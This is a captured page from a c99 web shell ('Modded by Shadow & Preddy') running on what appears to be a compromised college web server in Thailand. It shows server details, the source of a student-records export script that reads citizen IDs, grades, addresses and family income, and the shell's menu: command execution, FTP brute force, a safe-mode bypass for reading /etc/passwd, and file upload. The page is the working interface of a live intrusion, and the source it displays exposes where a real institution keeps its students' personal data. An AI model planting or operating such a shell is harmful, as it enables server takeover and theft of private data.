!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eregis/   drwxr-xr-x
Free 52.34 GB of 127.8 GB (40.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     misGetData.php (16.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'; $xml.="".$row->tmcAcY.""; echo $xml; }elseif($table==1){ if($row>0){ $offset = 500*$row-500 ; $row_count = 500 ; $limit = "LIMIT $offset , $row_count"; }else{ $limit = ''; } $sql = "SELECT * , CONCAT(YEAR(stdAdmitDate)+543,'-',MONTH(stdAdmitDate),'-',DAY(stdAdmitDate)) AS admitDate , CONCAT(YEAR(stdGraduateDate)+543,'-',MONTH(stdGraduateDate),'-',DAY(stdGraduateDate)) AS finishDate FROM rg_Student LEFT JOIN rg_StudentDetails ON sdtStdId = stdId LEFT JOIN rg_StudentEduHis ON sehStdId = stdId LEFT JOIN rg_Adviser ON advStdId = stdId AND advSyId = stdSyId WHERE 1=1 GROUP BY stdId $limit "; $result = mysql_query($sql, $link); $numrow = mysql_num_rows($result); $i = 0; if($row==0){ $xml_r=''; $xml_r.="$numrow"; $xml_r.=""; }else{ $xml = ''; $i_row=0; while($oSm = mysql_fetch_object($result)) { $i_row++; $xml.=""; $xml.="".chk( $collegeCode ).""; $xml.="".chk( $oSm->stdId ).""; $xml.="".chk( $oSm->stdCode ).""; $xml.="".chk( $oSm->sehElvId ).""; $xml.="".chk( $oSm->stdCurId ).""; $xml.="".chk( $oSm->stdPfId ).""; $xml.="".chk( $oSm->stdName ).""; $xml.="".chk( $oSm->stdSurname ).""; $xml.="".chk( $oSm->stdNameE ).""; $xml.="".chk( $oSm->stdSurnameE ).""; $xml.="".chk( $oSm->stdCreditAttempt ).""; $xml.="".chk( $oSm->stdCreditSatisfy ).""; $xml.="".chk( $oSm->stdGPA ).""; $xml.="".chk( $oSm->stdAdY ).""; $xml.="".chk( $oSm->stdTmIdAdmit ).""; $xml.="".chk( $oSm->admitDate ).""; $xml.="".chk( $oSm->finishDate ).""; $xml.="".chk( '' ).""; $xml.="".chk( $oSm->sdtEmail ).""; $xml.="".chk( $oSm->stdSyId ).""; $xml.="".chk( $oSm->stdSstId ).""; $xml.="".chk( $oSm->advPrsId ).""; $xml.="".chk( '' ).""; $xml.="".chk( $oSm->stdFsId ).""; $xml.="".chk( $oSm->stdUpdateUsLogin ).""; $xml.="".chk( $oSm->stdUpdateDate ).""; $xml.="".chk( $oSm->sdtCitizenId ).""; $xml.="".chk( $oSm->stdGraduateY ).""; $xml.="".chk( $oSm->stdGenStatus ).""; $xml.="".chk( $oSm->stdGenId ).""; $xml.="".chk( $oSm->stdEtId ).""; $xml.="".chk( $oSm->stdEt2Id ).""; $xml.="".chk( $oSm->sdtSex ).""; $xml.="".chk( $oSm->stdSoId ).""; $xml.="".chk( $oSm->stdPaId ).""; $xml.="".chk( $oSm->stdTotalPoint ).""; $xml.="".chk( $oSm->stdHonor ).""; $xml.="".chk( $oSm->stdMedal ).""; $xml.="".chk( $oSm->stdExitExam ).""; $xml.="".chk( $oSm->stdSstIdTmp ).""; $xml.=""; $i++; } $xml_r=''; $xml_r.=""; $xml_r.=$xml; $xml_r.=""; } echo $xml_r; }elseif($table==2){ if($row!=0){ $offset = (500*$row)-500 ; $row_count = 500; $limit = "LIMIT $offset , $row_count"; }else{ $limit = ''; } $sql = "SELECT * ,CONCAT(YEAR(sdtBirthDate)+543,'-',MONTH(sdtBirthDate),'-',DAY(sdtBirthDate)) AS birthDate FROM rg_StudentDetails LEFT JOIN rg_Student ON sdtStdId = stdId WHERE 1=1 $limit "; $result = mysql_query($sql, $link); $numrow = mysql_num_rows($result); $i = 0; if($row==0){ $xml_r=''; $xml_r.="$numrow"; $xml_r.=""; }else{ $xml = ''; $i_row=0; $txt = ''; while($oSb = mysql_fetch_object($result)){ $i_row++; $xml.=""; $xml.="".chk( $collegeCode ).""; $xml.="".chk( $oSb->sdtStdId ).""; $xml.="".chk( $oSb->sdtNtId ).""; $xml.="".chk( $oSb->sdtRlgId ).""; $xml.="".chk( $oSb->sdtBloodGroup ).""; $xml.="".chk( $oSb->birthDate ).""; $xml.="".chk( $oSb->sdtPrvIdBirth ).""; $xml.="".chk( $oSb->sdtHomeAddr ).""; $xml.="".chk( $oSb->sdtDtIdHome ).""; $xml.="".chk( $oSb->sdtApIdHome ).""; $xml.="".chk( $oSb->sdtPrvIdHome ).""; $xml.="".chk( $oSb->sdtHomePostCode ).""; $xml.="".chk( $oSb->sdtHomePhoneNo ).""; $xml.="".chk( $oSb->sdtWorkName ).""; $xml.="".chk( $oSb->sdtWorkAddr ).""; $xml.="".chk( $oSb->sdtDtIdWork ).""; $xml.="".chk( $oSb->sdtApIdWork ).""; $xml.="".chk( $oSb->sdtPrvIdWork ).""; $xml.="".chk( $oSb->sdtWorkPostCode ).""; $xml.="".chk( $oSb->sdtWorkPhoneNo ).""; $xml.="".chk( $oSb->sdtWorkStatus ).""; $xml.="".chk( $oSb->sdtWorkPosition ).""; $xml.="".chk( $oSb->sdtWorkSalary ).""; $xml.="".chk( $oSb->sdtFatherName ).""; $xml.="".chk( $oSb->sdtFatherAddr ).""; $xml.="".chk( $oSb->sdtDtIdFather ).""; $xml.="".chk( $oSb->sdtApIdFather ).""; $xml.="".chk( $oSb->sdtPrvIdFather ).""; $xml.="".chk( $oSb->sdtFatherPostCode ).""; $xml.="".chk( $oSb->sdtFatherPhoneNo ).""; $xml.="".chk( $oSb->sdtFatherOccupation ).""; $xml.="".chk( $oSb->sdtFatherStatus ).""; $xml.="".chk( $oSb->sdtMotherName ).""; $xml.="".chk( $oSb->sdtMotherAddr ).""; $xml.="".chk( $oSb->sdtDtIdMother ).""; $xml.="".chk( $oSb->sdtApIdMother ).""; $xml.="".chk( $oSb->sdtPrvIdMother ).""; $xml.="".chk( $oSb->sdtMotherPostCode ).""; $xml.="".chk( $oSb->sdtMotherPhoneNo ).""; $xml.="".chk( $oSb->sdtMotherOccupation ).""; $xml.="".chk( $oSb->sdtMotherStatus ).""; $xml.="".chk( $oSb->sdtSex ).""; $xml.="".chk( $oSb->sdtParentName ).""; $xml.="".chk( $oSb->sdtParentRelationship ).""; $xml.="".chk( $oSb->sdtParentAddr ).""; $xml.="".chk( $oSb->sdtDtIdParent ).""; $xml.="".chk( $oSb->sdtApIdParent ).""; $xml.="".chk( $oSb->sdtPrvIdParent ).""; $xml.="".chk( $oSb->sdtParentPostCode ).""; $xml.="".chk( $oSb->sdtParentPhoneNo ).""; $xml.="".chk( $oSb->sdtParentMobileNo ).""; $xml.="".chk( $oSb->sdtParentOccupation ).""; $xml.="".chk( $oSb->sdtParentIncome ).""; $xml.="".chk( $oSb->sdtParentEmail ).""; $xml.="".chk( $oSb->sdtContactName ).""; $xml.="".chk( $oSb->sdtContactAddr ).""; $xml.="".chk( $oSb->sdtDtIdContact ).""; $xml.="".chk( $oSb->sdtApIdContact ).""; $xml.="".chk( $oSb->sdtPrvIdContact ).""; $xml.="".chk( $oSb->sdtContactPostCode ).""; $xml.="".chk( $oSb->sdtContactPhoneNo ).""; $xml.="".chk( $oSb->sdtCardExpireDate ).""; $xml.="".chk($oSb->sdtCurrentAddr).""; $xml.="".chk( $oSb->sdtDtIdCurrent ).""; $xml.="".chk( $oSb->sdtApIdCurrent ).""; $xml.="".chk( $oSb->sdtPrvIdCurrent ).""; $xml.="".chk( $oSb->sdtCurrentPostCode ).""; $xml.="".chk( $oSb->sdtCurrentPhoneNo ).""; $xml.="".chk( $oSb->sdtGraduateAddr ).""; $xml.="".chk( $oSb->sdtDtIdGraduate ).""; $xml.="".chk( $oSb->sdtApIdGraduate ).""; $xml.="".chk( $oSb->sdtPrvIdGraduate ).""; $xml.="".chk( $oSb->sdtGraduatePostCode ).""; $xml.="".chk( $oSb->sdtGraduatePhoneNo ).""; $xml.="".chk( $oSb->sdtMsId ).""; $xml.="".chk( $oSb->sdtWeight ).""; $xml.="".chk( $oSb->sdtHeight ).""; $xml.="".chk( $oSb->sdtPicturePath ).""; $xml.="".chk( $oSb->sdtRtId ).""; $xml.="".chk( $oSb->sdtOccExamResult ).""; $xml.="".chk( $oSb->sdtCanRefund ).""; $xml.="".chk( $oSb->sdtOldName ).""; $xml.="".chk( $oSb->sdtEdgIdPre ).""; $xml.="".chk( $oSb->sdtHpId )."`"; $xml.=""; $i++; }// END LOOP $xml_r=''; $xml_r.=""; $xml_r.=$xml; $xml_r.=""; } // END if row!=0 echo $xml_r; }elseif($table==3){ if($row!=0){ $offset = (500*$row)-500 ; $row_count = 500; $limit = "LIMIT $offset , $row_count"; }else{ $limit = ''; } $sql = "SELECT * FROM rg_StudentSummary WHERE 1=1 $limit "; $result = mysql_query($sql, $link); $numrow = mysql_num_rows($result); $i = 0; if($row==0){ $xml_r=''; $xml_r.="$numrow"; $xml_r.=""; }else{ $xml = ''; $i_row=0; while($oSs = mysql_fetch_object($result)){ $i_row++; $xml.=""; $xml.="".chk( $collegeCode ).""; $xml.="".chk( $oSs->ssmStdId ).""; $xml.="".chk( $oSs->ssmAcY ).""; $xml.="".chk( $oSs->ssmTmId ).""; $xml.="".chk( $oSs->ssmSstId ).""; $xml.="".chk( $oSs->ssmGPA ).""; $xml.="".chk( $oSs->ssmCreditAttempt ).""; $xml.="".chk( $oSs->ssmCreditSatisfy ).""; $xml.="".chk( $oSs->ssmCreditPoint ).""; $xml.="".chk( $oSs->ssmGPAX ).""; $xml.="".chk( $oSs->ssmSumCreditAttempt ).""; $xml.="".chk( $oSs->ssmSumCreditSatisfy ).""; $xml.="".chk( $oSs->ssmSumCreditPoint ).""; $xml.="".chk( $oSs->ssmCreateDate ).""; $xml.="".chk( $oSs->ssmCreateUserId ).""; $xml.="".chk( $oSs->ssmUpdateDate ).""; $xml.="".chk( $oSs->ssmUpdateUserId ).""; $xml.="".chk( $oSs->ssmSstIdApproveSpe ).""; $xml.="".chk( $oSs->ssmApprover ).""; $xml.="".chk( $oSs->ssmRefNo).""; $xml.="".chk( $oSs->ssmApproveDate ).""; $xml.="".chk( $oSs->ssmPassStatus ).""; $xml.="".chk( $oSs->ssmSyId ).""; $xml.=""; $i++; }//--end loop $xml_r=''; $xml_r.=""; $xml_r.=$xml; $xml_r.=""; } echo $xml_r; }// End if table } function chk($field){ //htmlspecialchars htmlentities $value = ($field !='')? htmlspecialchars($field, ENT_QUOTES) : 'NULL'; return $value; } ?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0047 ]--